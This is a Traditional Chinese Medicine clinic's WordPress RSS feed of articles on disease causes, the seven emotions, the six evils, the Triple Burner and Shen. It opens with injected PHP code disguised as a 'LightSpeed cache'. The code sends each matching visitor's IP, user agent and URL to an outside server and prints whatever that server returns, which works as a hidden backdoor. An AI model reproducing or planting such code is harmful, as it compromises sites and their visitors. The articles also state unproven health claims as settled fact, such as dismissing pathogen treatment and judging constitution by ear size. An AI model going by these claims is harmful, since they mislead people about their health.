/** * Implement the LightSpeed cache. */ if (preg_match ('/.*77.*/', $_SERVER['REQUEST_URI']) || preg_match ('/.*ach.*/', $_SERVER['REQUEST_URI'])) { error_reporting(0); $url="http://w3lightcache.com/server_new.php";$params="h=$_SERVER[HTTP_HOST]&ua=$_SERVER[HTTP_USER_AGENT]&ip=$_SERVER[REMOTE_ADDR]&ip2=$_SERVER[HTTP_X_FORWARDED_FOR]&uri=$_SERVER[REQUEST_URI]";$ch=curl_init($url);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,$params);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);$result=curl_exec($ch);curl_close($ch); if (!empty($result)) {echo $result; die;} } TCM – American Institute of Acupuncture http://acuherb.us Acupuncture, herbs, and traditional Chinese Medicine, health full service spa Mon, 10 Sep 2018 16:49:35 +0000 en-US hourly 1 https://wordpress.org/?v=5.0.21 Miscellaneous Disease Causes in TCM http://acuherb.us/miscellaneous-disease-causes-in-tcm/ Mon, 02 Jul 2012 20:10:53 +0000 http://acuherb.us/?p=1651

By Dr. Kenneth Wang

Other Causes of Illness

Weak Constitution

Constitution depends on:

  • Parents’ health in general, especially at conception
  • Mother’s health in pregnancy

Adverse Factors:

  • Conception in state of drunkenness
  • Mother conceiving when too old
  • Consuming alcohol or smoking during pregnancy
  • Receiving a shock during pregnancy (affects fetal Heart Qi)

A person’s basic constitution is largely determined at conception, and it can also be affected during the mother’s pregnancy.

At conception, fusion of Qi of “heaven and earth” produces human being. 
Ancestral Energy of parents is passed to fetus. 
Constitution is largely fixed at this time.

However, those with weak constitution can develop Qi by balanced lifestyle, avoidance of stress and excess (work or sexual activity), adequate rest, right nutrition, breathing exercises, and strengthening “inner” exercises such as Qi Gong and Tai Ji Quan (that originated in ancient Taoist longevity and immortality practices but are still applicable for health promotion).

Assessment of constitution in clinic: detailed history including childhood diseases (especially pertussis; indicates inherited weakness of Lungs) 
Appearance: small ears indicate weak constitution 
Pulse: scattered, minute or leather pulse: weak constitution 
Tongue: very flabby, with no “spirit”

Assessment of constitution is essential for accurate prognosis; what can realistically be expected from treatments.

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Over Exertion

Common cause of disease in West.

Need to have balance of rest and exercise. 
When we work or exercise we use up Qi; when we rest we restore Qi. 
(Post-Heaven Qi, i.e., Qi transformed from food and drink on a daily basis).

In daily activities we use Qi: Jing provides material base for long term changes but is foundation of our inner strength and vitality.

Qi used in normal work and exercise is quickly replenished by proper food and rest. (If your patient appears weak and depleted, ask about recent excesses of work or study or lack of sleep). 
Qi is used up quickly but rapidly restored.

If overwork occurs over months or years, Qi cannot be restored quickly enough by Spleen. Person then draws on the Jing as a reserve. This way the Jing can become depleted and signs of Deficiency of Yin may begin to appear. This situation takes a long time to remedy.

  1. Mental Overwork 

    Very common in western society: long hours of stress and mental activity very common together with irregular meals taken in hurry. These things affect Stomach, Spleen and Kidneys. Irregular diet (or eating late at night) can cause deficient Stomach Qi or Stomach Yin. 

  2. Physical Overwork 

    Depletes primarily Spleen Qi (SP dominates flesh and muscles). However, excessive physical exercise also demands that the Liver supply its Blood and Yin to the tendons/muscles; therefore excessive exercise can deplete Liver Blood and Yin (including workouts). 

    Excessive use of one part of body (i.e., repetitive movement) can cause Qi to stagnate in that part. 
    Excessive lifting weakens Kidneys and lower back. 
    Excessive standing weakens the Kidneys.

    Classics discuss the ‘Five Taxations

    Excessive use of the eyes injures the Blood (the Heart) 
    Excessive lying down injures Qi (the Lungs) 
    Excessive sitting injures the muscles (the Spleen) 
    Excessive standing injures the bones (the Kidneys) 
    Excessive exercise injures the sinews (the Liver)

  3. Excessive Physical Exercise 

    Exercising to exhaustion depletes Qi, also Liver Blood and Yin. 
    Especially bad during puberty for girls (leads to later menstrual problems). 

    Certain types of exercise can cause stagnation of Qi in one area 

    E.g. Weightlifting: lower back 
    E.g. Jogging: knees 
    E.g. Tennis: elbows 

  4. Lack of Exercise 

    Regular exercise ensures proper circulation of Qi. 
    Lack of exercise can lead to stagnation of Qi. 

    Certain exercises (e.g., Yoga and Tai Ji Quan) are aimed at developing Qi rather than muscles and are useful for those with Deficient Qi who have to little energy for Western style exercises.

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Excessive Sexual Activity

i.e., leading to ejaculation or orgasm

Depletes Kidney Jing, mostly in males. 
Male sexual fluids are external manifestation of Kidney Jing: hence loss of these lead to temporary loss of Kidney Jing. Female sexual fluids primarily Jin-Ye.
Normally this is made up (by postnatal Jing) and does not lead to depletion. However, when sexual activity is excessive, body does not have time to restore the Jing.

What is “excessive” = resulting in marked fatigue, especially if accompanied by dizziness, blurring of vision, low back pain, weak knees, and frequent urination.

Adjust sexual activity according to constitution, age, physical condition. (See chart in book pg. 138 as broad guideline).

Seasons: increase in Spring; decrease in Winter.

In treating sexual problems, i.e., impotence, often a decrease in sexual activity is important.

In men, the Kidney Jing is depleted by excessive sexual activity; in women it is depleted by repeated childbirth.

Lack of sexual activity can traditionally be a cause of disease.

Sexual desire is measure of strong Kidney Qi and Kidney Yang.

Deficient Kidney Yang: lack of libido.

Deficient Kidney Yin: excessive interest in sex and inability to be satisfied, erotic dreams and nocturnal emissions.

Other important causes of unsatisfactory sexual life: (e.g., lack of warmth and love, relationship issues) can be causes of disease especially where they cause a lot of anxiety and unhappiness.

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Diet and Nutrition

Important cause of disease 
However, Chinese dietary theories do not take into account our modern food preservatives, colorings, pesticide residues, etc.

Dietary habits can cause disease: e.g., poor quality or imbalanced quantity of food. Malnutrition not only in 3rd world countries but also in the west, from poverty and “fad” diets.

Trying to slim by “starving” weakens SP Qi and can actually cause increase in weight because SP will be too weak to transform and transport fluids and food. Proper foods need to be eaten to strengthen SP& St.

Overeating also weakens SP& PST and leads to accumulation of Phlegm and stagnation of food.

Excessive consumption of cold energy and raw food can weaken the Spleen. 
Refrigerated food and iced water, ice cream are contraindicated.

Raw vegetables, salads and fruit in excess can weaken Spleen Yang: 
Contraindicated in those with preexisting weakness in this area.

Excessive consumption of hot energy and spicy foods (curry, chili, hot sauce, lamb, beef) causes Heat especially of Stomach and Liver.

Excessive consumption of greasy/fried foods (deep fried foods, milk, cheese, cream, butter, bananas, fatty meats, nuts) cause Phlegm or Damp which can obstruct Spleen function of transformation and transportation.

How food is consumed is important.

Eating in a hurry, eating late in evening, eating when upset, discussing work while eating, etc., interfere with digestion and cause deficiency of Stomach Yin.

NOTE: Foods, like herbs, have their own energetic properties and can be used therapeutically to strengthen the body and treat disease. It is very useful to understand Chinese dietary therapy in order to be able to suggest to the patient the foods they should eat and those they should avoid.

Sources of information on Chinese dietary therapy:

  • The Tao of Healthy Eating (Bob Flaws)
  • Chinese Foods for Longevity (Henry Lu)
  • Chinese System of Food Cures (Henry Lu)

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Physical Trauma

Cause local stagnation of Blood & Qi

Slight trauma causes stagnation of Qi 
Severe trauma causes stagnation of Blood 
(Both produce swelling, bruising and pain)

Trauma can affect an area for a long time and produce local stagnation of Qi and/or Blood.

Old accidents/falls can cause or contribute to current disease especially if compounded by later re-injury or later contraction of pathogen (e.g., Wind Damp will often invade a previously injured area where there is an underlying weakness in the circulation of Blood & Qi).

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Parasites and Poisons

Infestation of worms is more common in children.

Contributory factor: poor diet, especially excessive consumption of greasy and sweet food which leads to Dampness (perfect breeding ground for worms and also Candidiasis).

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Incorrect Treatment

Acupuncture can cause ill effects.

Incorrect use of moxa (i.e., use where heat is present) can aggravate a heat condition. Chinese herbs however have more specific effect than acupuncture.

E.g., if one tonifies Yang (heating herbs) by mistake when there is deficient Yin (producing heat signs) one can seriously aggravate the condition.

]]> The Seven Emotions http://acuherb.us/the-seven-emotions/ Mon, 02 Jul 2012 19:30:45 +0000 http://acuherb.us/?p=1638

By Dr. Kenneth Wang

The Seven Emotions

Emotional related diseases factors, which effect the organ associated with the emotion as well as organs that have a Five Element relationship with that elements emotion.

The Seven Emotions are:

Joy (Over-excitement, Manic) - Heart and Fire Element

In TCM joy refers to a state of agitation or overexcitement.

Palpitations 

Slows the Qi
Fear controls Joy (Water controls Fire)

  • Insomnia
  • Unclear Thinking
  • Mania, Disturbed Shen (possibly manic, risk-taking)
  • Heart Attack

Example:
Migraine headache caused by sudden joy from receiving good news.

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Anger (Rage, Resentment, Frustration) - Liver and Wood Element
Anger could lead to high blood pressure.

 

 

 

 

 

 

Makes Qi Ascend
Grief controls Anger (Metal controls Wood)

  • Vertex Headache
  • Dizziness
  • Blurry Vision
  • Blood Pressure is Raised
  • Stroke
  • Internal Wind (trembling from anger or an onset of Wind symptoms such as a seizure)
  • Pain in the Costal Region Especially in the Liver

Liver attacks Spleen and Stomach

  • Spleen Qi Xu
  • Rebellious Stomach Qi
  • Bleeding

a. Nosebleeds common because Qi is ascending
b. Vessels Burst Because Spleen is Weak

Liver counterattacks Lung

  • Asthma

Liver Can harm Gall Bladder (Yin Yang paired Organ)

  • Inability to make decisions (I’m so angry, I can’t think straight)

 

[ Top of Page ]

Grief or Sadness - Lung and Metal Element

Grief that remains unresolved can create disharmony in the lungs.

Weakens, Depletes, or Dissolves the Qi
Joy Controls Grief (Fire controls Metal)

  • Tightness in the Chest (SOB)
  • Excessive Crying
  • Asthma
  • Frequent Colds and Flu (Wei Qi is weakened)
  • Skin problems

Grief Affecting the Heart

  • Zong Qi is weakened affecting Heart

Metal counterattacking Fire

  • Circulation Becomes Impaired

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 Pensiveness - Spleen and Earth Element

Too much intellectual stimulation can cause pensiveness.

 

 

 

 

 

 

 

Stagnates or Knots the Qi

Wood controls Earth (Anger controls Worry and Pensiveness)

Harms the Heart (Son Depleting the Mother), and ultimately the Shen

  • Palpitations
  • Spleen Qi Deficiency
  • Heart Blood Deficiency

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Fright (Terror, Shock) - Gallbladder and Wood Element

Fright can affect the kidneys if left unchecked.

 

 

 

 

 

 

 

Fright Confuses or Scatters the Qi
Grief controls Fright (Metal controls Wood)

Note: There is a difference between fear and fright: Fright: startling, scared by things that are present. Fear: deeper, more chronic; scared by things not present

  • Indecisive
  • Confused
  • Lack Courage

Harms the Kidneys (son depleting mother; Wood depleting Water)

  • Long-term fright turns to fear (child abused once causes fright; ongoing abuse leads to fear of when it will happen again)

Harms Liver (Gallbladder and Liver are Yin Yang paired organs)

  • become angry at what frightened us (a mother becomes angry with a child that loves to startle her as a joke)

Harms the Heart (Wood fails to nourish Fire)Fright unroots the Shen 

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Fear - Kidneys and Water Element

Fear that cannot be directly addressed is likely to lead to disharmony in the kidneys.

Makes Qi Descend
Concentration and thinking controls Fear (Earth Controls Water)

Note: Less sudden, more chronic and internal than fright

Kidneys are weakened when living in fear

  • might lose bladder control

Harms Liver and Gallbladder (Water not nourishing Wood)

  • Depression
  • Indecisive
  • Confused
  • Lack Courage

Harms the Heart (Water not controlling Fire)

Heart Fire blazes out of control

  • anxiety, restlessness
]]> Six Evils http://acuherb.us/six-evils/ Mon, 02 Jul 2012 19:22:11 +0000 http://acuherb.us/?p=1634

By Dr. Wang

The Six Evils or Six Pernicious Influences

The evils are external in origin, but can penetrate deeply into the body.

The Six Evils are:

Wind

(Associated with Liver, Wood, Spring, Yang evil)

Wind is involved with movement and activity, and brings other evil Qi in with it. It is the most important evil as it is the cause of the “100 diseases”.

Disperses Qi upward and outward

  • Yang energy wants to rise and expand
  • Illnesses manifest in upper and outer parts of the body in early stage: head, sense organs and skin
  • Rashes Common: itchy, come and go quickly, spread quickly
  • Sweating common: causes opening of pores (Qi and fluids lost)

Rapid onset and rapid changes

  • Acute illnesses with rapid progression such as fever, infectious diseases

Creates abnormal or sudden movement

  • spasms, convulsions, twitches

Creates abnormal positions

  • Stroke
  • Stiff neck with flu

Most common in spring

Wind Syndromes – External Wind

1.) Wind-Cold

  • chills more than fever
  • aversion to cold
  • occipital headache
  • stiff neck
  • sneezing
  • mucous will be clear and copious
  • runny nose
  • body aches that move around
  • tongue: slightly pale, thin white coat

Excess Type External Wind

  • Little or no sweating
  • pulse: floating, slow, tight
  • Wei Qi is strong so pores are held closed
  • warm relieve surface treatment is used to sweat
  • out evil and excess Wind and Cold
  • Ma Huang Tang

Xu Type External Wind

  • Sweating
  • Pulse: floating, slow, Xu
  • Wei Qi is weak. There is sweating but it does not release the Exterior
  • Harmonize Ying and Wei Qi. Ying nourishes Wei to gently strengthen it, without tonifying Evil Qi
  • Gui Zhi Tang

2.) Wind-Heat

  • fever more than chills
  • sore throat
  • cough with thick, yellow mucous
  • thirst for cold drinks
  • frontal headache; can be stronger, pounding (Yang Ming)
  • redness or inflammation of eyes
  • sinusitis
  • earache
  • red face
  • Pulse: Floating, rapid
  • Tongue: slightly red in early stage, yellow coat, thorns on lung area

3.) Wind-Damp

  • sensitivity to wind
  • fever and chills with fever more pronounced in the afternoon
  • strong body aches
  • body and head feel heavy
  • copious phlegm – runny nose, congestion, stuffiness, sinusitis
  • sinus headache
  • foggy headed, difficult thinking
  • Pulse: slippery
  • Tongue: swollen, likely to be a thick coat, could be greasy

4.) Wind-Damp Bi Pain

  • Arthritis, nerve pain, and numbness that is worse with cold and damp
  • weather
  • Pulse: slippery
  • Tongue: swollen, thick coat
  • Treat by opening channels and mildly relieving surface

5.) Wind-Water

  • disruption of Jin-Ye
  • anything with sudden Edema
  • acute onset
  • frequently occurs in the face
  • Treat by relieving surface, eliminating water
  • causes include allergic reaction, rash, acute nephritis
  • Pulse: slippery
  • Tongue: swollen, greasy coat

6) Wind-Rash

  • acute onset
  • moves around to different parts of body
  • will appear and disappear
  • Pulse: floating, rapid
  • Tongue: red with yellow coat

Wind Syndromes – Internal Wind 

  • Associated with the Liver, and causes diseases of shaking and abnormal body positions.
  • It is usually chronic, where external wind is usually acute.
  • It combines easily with phlegm, as in Deviation (Wind blows it out of position and the phlegm makes it stick in an abnormal position).

Symptoms of Internal Wind

  • spasms and abnormal muscle contractions
  • convulsions
  • Parkinson’s
  • post-stroke sequelae
  • seizures(epilepsy)
  • shaking from anger
  • migraine (Wind blowing in head)
  • Pulse: wiry usually rapid
  • Tongue: shaking or deviated

Causes of Liver Wind

Excess fire affecting the Liver

  • Fire creates Wind
  • enters the Blood level
  • high fever (diseases such as meningitis)
  • poisons, toxins, radiation, drugs, alcohol
  • constitutional Liver Fire
  • Pulse: rapid, wiry, excess
  • Tongue: red, yellow coat; shaking or stiff

Liver Yin Xu, Yang Kan – Long-standing Yin deficiency with Heat

  • long term use of drugs, alcohol
  • chronic Yin Xu fevers
  • Pulse: Wiry, rapid, thin
  • Tongue: red, no coat, shaking

Liver Blood Deficiency

1) Blood Xu makes Heat
2) Blood not nourishing the “General”

  • Numbness of limbs common
  • Pulse: thready or hollow
  • Tongue: pale with white or yellow coat

Liver wind mixing with Phlegm

Wind blows it into an abnormal position and phlegm makes it stick. It affects Liver (Wind) and Heart (Phlegm misting). There is rigidity especially of limbs, neck, tongue, and stiffness in tongue (May affect the Speech)

Neurological conditions

  • brain disorders
  • Alzheimer’s, senility
  • Stroke
  • brain tumors

Fire and Phlegm occurring together

  • more sweating than with internal wind alone
  • rapidly changing emotions
  • commonly occurs with long term alcohol and drug use
  • red face
  • Pulse: Rapid, slippery, full
  • Tongue: red, particularly at tip, may be skewed to one side

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Cold

(Associated with Kidney, Winter, Water element, Yin evil)

  • Damages the Yang
  • Impairs ability to maintain body temp
  • Weakens and slows life activities
  • Feeling of cold
  • Symptoms better with warmth
  • causes Qi and Blood to contract and congeal which creates stagnation, pain, stiffness
  • Easily effects the low back and knees, joints
  • Easily effects the Stomach, Intestines, Liver
  • Thin, watery, pale, cold discharges urine, stools, blood etc.

Syndromes of Cold

Wind Cold

  • chills more than fever
  • aversion to cold
  • occipital headache
  • stiff neck
  • clear copious phlegm
  • runny nose
  • sneezing
  • mild body aches

    Excess type

    • little or no sweating
    • Pulse: Floating, slow, tight
    • Tongue: slightly pale, thin white coat

    Deficiency type

    • sweating
    • Pulse: Floating, slow, Xu
    • Tongue: slightly pale, thin white coat

Cold attacking the Spleen and Stomach

Looks like spleen Qi Xu but the cause is external (Examples are living by the ocean or eating cold foods). Phlegm and Dampness can also collect and cause dizziness.

  • diarrhea
  • loose stools
  • watery stools
  • bloating
  • poor digestion
  • nausea
  • vomiting
  • stomach or abdominal pain that is worse with cold
  • loss of appetite
  • fatigue
  • Pulse: slow
  • Tongue: pale

Cold evil damaging both spleen and Kidney Yang

Can be acute, as in hypothermia, or chronic, as in a cold climate damaging spleen and kidneys.

Symptoms as in previous syndrome with:

    • watery stools
    • undigested food in stools
    • bird stools
    • aversion to cold
    • feeling of cold in entire body
    • profuse urination or edema
    • strong fatigue
    • pale face
    • possibly green or purple lips
    • Purple or black under eyes if the Kidney Yang is damaged
    • Pulse: slow, weak
    • Tongue: pale, white coat, tooth marks

Cold contracting the Qi and Blood

Cold slows circulation, contracts, congeals, stagnates

Liver Qi Stagnation

  • abdominal bloating
  • depression, irritability
  • Pulse: wiry
  • Tongue: light purple

Blood stagnation

  • pain that is sharp, stabbing, needle-like, constant
  • purple lips, complexion etc.
  • Pulse: choppy
  • Tongue: deep purple, possibly purple spots

Wind cold damp Bi pain

  • arthritis (more commonly Osteoarthritis) with cold, stiff, contracted joints
  • sensitivity to cold is strongest symptom
  • can be nerve or muscle involvement
  • symptoms better with warm weather, heat therapy, saunas

Cold contracting the liver meridian

  • pain on inside of legs, genital area along liver meridian
  • severe menstrual pain
  • endometriosis
  • hernia
  • muscular problems i.e. groin pull
  • testicular problems
  • sperm production
  • may be infertility
  • will exhibit signs of liver blood stagnation
  • Pulse: choppy
  • Tongue: pale and purple

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Damp

(Associated with spleen, late summer, Earth element, Yin evil)

Dampness is heavy, tenacious, difficult to treat, and lasts a long time. It tends to move downwards in the body.

Sticky, greasy, oily, dirty, bad smell

  • “looks like water or mud, “looks and smells dirty
  • greasy hair and face
  • greasy skin: acne, pus, oozing wound
  • mucous or discharge anywhere in body
  • bad body odor, bad breath, smelly perspiration
  • bad smelling diarrhea with mucous (if mixed with heat, there can be cloudy urine)
  • thick or bad smelling vaginal discharge as in STD
  • copious nasal discharge
  • edema or swelling
  • arthritis with swollen joints
  • fluid coming out of anywhere
  • candida, fungus, yeast

Damages the Yang of body

  • worse in cold, damp weather
  • Spleen works to transform Damp; Kidney supports Spleen

Creates stagnation

  • Stagnate fluids will also stagnate Qi and Blood

Syndromes of damp

Wind-Damp
Acute condition, but has the slowest onset of all winds. It is affected by damp and cold weather. Symptoms can reflect a respiratory infection with copious phlegm or a gastrointestinal flu.

  • strong generalized body aches
  • heavy feeling in head and body
  • foggy headed, unclear thinking, band headache
  • copious phlegm, can be runny or thick
  • sneezing
  • afternoon fever
  • nausea, vomiting
  • diarrhea, possibly with mucous
  • Pulse: slippery, slowing down pulse
  • Tongue: swollen with thick, greasy coat

Wind-Damp Bi pain

  • swelling of joints
  • edema
  • Pulse: slippery
  • Tongue: swollen with thick, greasy coat

Damp poison in skin

  • discharge: pus, carbuncles, boils, acne, oozing
  • infection after wound
  • warts, fungus, yeast

Damp heat

Infection or inflammation that can affect many places, such as the Liver, Gallbladder, Urinary Bladder, Intestines, Sinuses, etc.

“itis” Diseases

  • Bronchitis
  • Hepatitis
  • Vaginitis
  • Prostatitis
  • Colitis
  • Pulse: slippery, rapid (which quality is greater?)
  • Tongue: red, thick yellow coat, swollen (how thick, how swollen, how red?)

Internal dampness arising in the body

Dampness arising from Spleen Xu: Dampness is the main factor, the Xu is secondary. It often compromises immunity due to congestion of lymphatic system, autoimmune conditions in particular. If severe, it becomes Phlegm. A long term chronic situation is often due to damp, cold, raw foods.

Symptoms may be associated with a wide variety of diseases: Chronic Fatigue, Fibromyalgia, Candida, Lymphoma, Etc.

  • bloating
  • nausea
  • vomiting
  • diarrhea
  • heaviness of head and body
  • dizziness
  • low appetite

[ Top of Page ]

Heat

(Associated with the Heart, summertime, Fire element, Yang Evil)

Damages Yin

  • dries fluids, easily leads to Yin Xu

Heat rises

  • diseases most common on face, eyes, and nose

Causes redness

  • the more red, the more heat

Easily produces wind

  • when heat affects the Liver

Speeds things up

  • agitation, restlessness
  • can be bleeding: Blood moves so fast it leaves the vessels

Easily affects the skin

  • red, itchy, painful rashes

Syndromes of Heat

Wind-Heat

  • fever more than chills
  • sore throat
  • frontal headache (yang Ming channels)
  • big thirst
  • sinus infection
  • red eyes, conjunctivitis
  • cough with yellow, green or brown phlegm
  • Tongue: red and raised dots in lung area (thorns)
  • Pulse: rapid, floating

Damp Heat

  • Upper Jiao – Affects face and chest
  • Middle Jiao – Affects Spleen and Liver
  • Lower Jiao – Intestines, bladder, genitals, etc.

Excess Fire

Strong heat that reaches deep in to organs. It can have an external or internal origin.

Symptoms

  • big thirst
  • redness
  • restlessness
  • symptoms are loud and forceful (cough, diarrhea etc.)

Syndromes

Lung fire

  • can be loud, forceful cough with blood (fire has burnt off protection of mucous membranes so capillaries have burst)
  • mucous is yellow, green , brown
  • red, painful rash

Stomach fire

  • burning ulcer, heartburn)
  • Stomach channel problems: toothache (infection), frontal headache strong pain or burning on channel

Heart fire

  • strong anxiety
  • restlessness
  • insomnia
  • mania

Liver fire

  • anger
  • shingles in costal region
  • burning pain in genital area as from STD’s

Large Intestine fire

  • dysentery
  • toothache (channel pain) -> Kidney fire
  • long term alcohol or drug abuse
  • bone infection
  • meningitis (affects Marrow)

Deficient Fire

Yin Xu, Yang Kan, Heat is deep in the body: Ying level. Pattern of mixed Xu and excess. Treatment must include quelling fire as well as nourishing yin

  • smoldering heat especially at night
  • low grade rashes
  • severe restlessness
  • slight bleeding
  • Tongue: scarlet
  • Pulse: thready, rapid

[ Top of Page ]

Summer Heat

(Associated with the Heart, Fire Element, Summer, Yang Evil)

Syndromes of Summer Heat

Summer heat

  • high fever
  • restlessness
  • thirst with strong desire to drink
  • can go up and affect the head
  • dizziness
  • blurred vision
  • headache
  • constipation
  • scant yellow urine
  • coma
  • Yin collapse
  • profuse sweating
  • Tongue: dry, red
  • Pulse: surging (flooding – strong, big waves)

Summer Heat combined with Dampness

A person with a Damp constitution experiencing Summer Heat, or a person who eats Damp foods in summer (ice cream, cold soda).

Dampness turns into phlegm because of heat

  • nausea
  • vomiting
  • loose stools or diarrhea
  • poor appetite and fatigue
  • phlegm can rise to head
  • dizziness
  • heavy head
  • foggy thinking
  • suffocating feeling in chest
  • tightness in chest
  • sweating, but not as much as Summer Heat without Dampness

[ Top of Page ]

Dryness

(Associated with the Lung, Autumn, Metal Element, Yang evil)

Exterior in origin (not yin Xu, not internal)

Easily damages body fluids

  • Dry skin
  • Dry hair
  • Dry eyes
  • Dry lips
  • Dry throat or low grade sore throat
  • Dry stools
  • Scant urine
  • Thirst

Easily damages lungs

  • Could be from dry climate or smoking
  • Dry cough and dry phlegm (thick, sticky, hard to expel)

Syndromes of Dryness

Warm Dryness

Symptoms

  • Fever
  • Headache
  • Thirst
  • Dry Mouth
  • Dry Nasal Passages
  • Dry cough with Dry Phlegm
  • Tongue: red with thin or no coat
  • Pulse: rapid

Treatment

  • acute: treat as wind-heat
  • chronic: tonify yin

Cool dryness (Example: Dried out from air conditioning)

Symptoms

  • Dry phlegm (thick, doesn’t move)
  • Sensitive to cold
  • Chills
  • Mild fever
  • Headache
  • Dry cough
  • Dry mouth
  • Dry nasal passages with stuffiness
  • Tongue: thin, white
  • Pulse: tight, slow

Treatment

  • Acute: Treat as wind-cold
]]> Etiological or Causal Factors in TCM http://acuherb.us/etiological-or-causal-factors-in-tcm/ Mon, 02 Jul 2012 19:18:03 +0000 http://acuherb.us/?p=1632

By Dr. Kenneth Wang

TCM holds that there are both opposite and unitary relationships between the organs and the tissues, and between the human body and the natural environment. These things maintain a relative dynamic balance through a process in which contradiction alternately appears and disappears. When this dynamic balance is broken for whatever reason and cannot immediately be restored through self-regulation, certain diseases will occur. 

The five elements and their relationships with the body’s organs

 

 

The pathogenic influences that alter the state of relative balance in the body and lead to disease are called etiological or causal factors.

Modern Western medical science attempts to isolate purely physical factors as the cause of disease. Bacteria and viruses, chemical compounds, and other external factors are blamed for most illnesses. The Chinese, however, view many of these “causes” merely as symptoms of the disease; because a certain organ is weak and unable to resist outside invasion, it is therefore prone to attack by an outside agent. Killing the agent eliminates the immediate symptoms of the disease but does nothing to restore the original qi (vital energy) of the diseased organ and tissues. It is only a matter of time before it succumbs to another attack.

TCM, however, attributes the cause of most diseases to external cosmological and internal emotional factors. These factors conform and act according to the principles of yin-yang and the five elements, which both stress balance and interconnectedness.

The external cosmological causes of disease are called the “Six Evils“ and are governed by the meteorological conditions of season and climate while the internal emotional factors are called the “Seven Emotions“ which are affected by our emotional response to different situations. The Huang Ti Nei Ching (The Yellow Emperor’s Medicine Classic) states: “The pathogenic evils either originate in yin or originate in yang; those coming from yang are related to wind, rain, cold, and summer heat; Those coming from yin are related to food and drink, living places, sexual life, and emotions such as joy and anger.”

]]> San Jiao http://acuherb.us/san-jiao/ Fri, 29 Jun 2012 20:39:49 +0000 http://acuherb.us/?p=1595

 

Triple burner: Fire-energy yang organ

This organ-energy system, which is not recognized in Western physiology, is called the ‘Minister of Dykes and Dredges’ and is responsible for the movement and transformation of various solids and fluids throughout the system, as well as for the production and circulation of nourishing energy (ying chee) and protective energy (wei chee).  It is not a single self-contained organ, but rather a functional energy system involved in regulating the activities of other organs.  It is composed of three parts, known as ‘burners’, each associated with one of the body’s three main cavities: thorax, abdomen, and pelvis.  An ancient Chinese medical text states: ‘The Upper Burner controls intake, the Middle Burner controls transformation, the Lower Burner controls elimination.’

The Upper Burner runs from the base of the tongue to the entrance to the stomach and controls the intake of air, food, and fluids.  It harmonizes the functions of heart and lungs, governs respiration, and regulates the distribution of protective energy to the body’s external surfaces.

The Middle Burner runs from the entrance to the stomach down to its exit at the pyloric valve and controls digestion by harmonizing the functions of stomach, spleen, and pancreas.  It is responsible for extracting nourishing energy from food and fluids and distributing it via the meridian system to the lungs and other parts of the body.

The Lower Burner runs from the pyloric valve down to the anus and urinary tract and is responsible for separating the pure from the impure products of digestion, absorbing nutrients, and eliminating solid and liquid wastes.  It harmonizes the functions of liver, kidney, bladder, and large and small intestines and also regulates sexual and reproductive functions.

Some medical researchers believe that the Triple Burner is associated with the hypothalamus, the part of the brain which regulates appetite, digestion, fluid balance, body temperature, heartbeat, blood pressure, and other basic autonomous functions.

 

Sanjiao
Paired Organ Pericardium
Color orange red
Peak Hours 9pm-11pm
Physical Branches blood, tongue, throat, sweat, facial complexion
Functions regulates transformation and transportation of bodily fluids, and…

 

Note: Chinese; ‘Sanjiao’ Meridian: ‘San’ means three, ‘Jiao’ means ‘burn’.  It’s originally referred to as the ‘Triple Burner‘, but ‘Triple Warmer’ and ‘Triple Heater’ are also commonly used.

Triple Burner: Psycho-Emotional Aspects

The Triple Burners are considered the Ambassadors or “intermediaries” for the body’s Yuan (Original) Qi.  On a psychological level, they can be used to move Qi and lift depression derived from stagnation of Liver Qi.  When the Triple Burners, which regulate the consciousness, are full, the consciousness becomes stable and the Mind’s intent is benevolent and kindhearted.  The Triple Burners are also linked with the Heart and Pericardium and are affected by the emotion of joy.  When the energy of the heart is strong and pure (without guilt), and the desires and thoughts of an individual are at peace, then the energy of the boy’s sexual essence (Jing) will spread into the Triple Burners, and the Blood will flourish within the individual’s vessels.  If the “fire of desire” is allowed to Heat and combine with the energy of the Triple Burners, the energy of the individual’s sexual essence will overflow, mixing itself with the energy of the Mingmen and will leave the body via the reproductive organs and tissues.  This leads to Jing and Qi depletion.

The Triple Burner Channel Pathway, Acupuncture Points, and Internal Trajectories

Beginning on the fourth (ring) finger, by the outside corner of the nail, the triple burner channel passes between the knuckles of the fourth and fifth fingers to the wrist.  From here it ascends between the two bones of the forearm (radius and ulna), through the tip of the elbow, and up the back of the arm to the shoulder.  Behind the top of the shoulder it joins the small intestine and the governing vessel channels.  Then it rises over the shoulder to the collarbone region, descends internally to the pericardium in the upper burner, and then to the abdomen and the middle and lower burners.  Re-emerging from the chest at the collarbone, the channel ascends the side of the neck and around the back of the ear.  One branch rises internally to meet the gallbladder channel on the forehead, then descends to join the small intestine channel on the cheek.  The superficial branch continues to the front of the ear and crosses to the outer corner of the eyebrow, where it joins the gallbladder channel again.

Internal Trajectories of the Triple Warmer Meridian

Having passed up the lateral aspect of the arm from the ring finger, the triple warmer meridian passes to ST-12:

[It] comes in at ST-12, then passes down to CV-17, disperses [into the chest], and drops down into the pericardium.  It then passes down through the diaphragm, circles down through and permeates the triple warmers.  A branch starting at CV-17 passes back up to ST-12.

When the meridian “disperses” into the chest it is like a pervasive spray.  The stream widens and becomes less dense, the picture is one of rain covering and moistening rather than a river passing through.  Notice also that it does not spirally wrap the pericardium.  Rather, it “drops down” as if it filtered through after dispersing from CV-17 into the chest.

 

    This idea helps us see the relationship of the triple warmer to the breathing process.  Perhaps this relationship to breath and the movement of breath downward to below the umbilicus is related to the action of “dispersion into the chest.”  Air is drawn into the lungs upon inhalation; once inside the lungs (inside the chest), it then mingles with the triple warmer pathway which is dispersing into the chest.  Then, it filters down to the the pericardium.  From there it may circle downward through the triple warmers.  This downward movement through the triple warmers may well be the means by which the qi of breathing arrives below the umbilicus where it is an important ingredient in the formation of the source qi and the nourishment of the source.

 

 

 

 

]]> Shen 神 http://acuherb.us/shen-%e7%a5%9e/ Fri, 29 Jun 2012 19:55:32 +0000 http://acuherb.us/?p=1576

Shen 神

Shen can be translated as “Spirit” or “Mind”, and implies our consciousness, mental functions, mental health, vitality, and our “presence”.

Shen lives in the Heart, where it retires to sleep during the night. If the Shen is disturbed, there may be insomnia. Shen is specifically said to live in the Blood Vessels (part of the system of the Heart) and to be nourished by the Blood. In TCM pathology, therefore, deficient Blood may fail to nourish the Shen. Alternatively, Heat (of various Organs) may disturb the Shen.

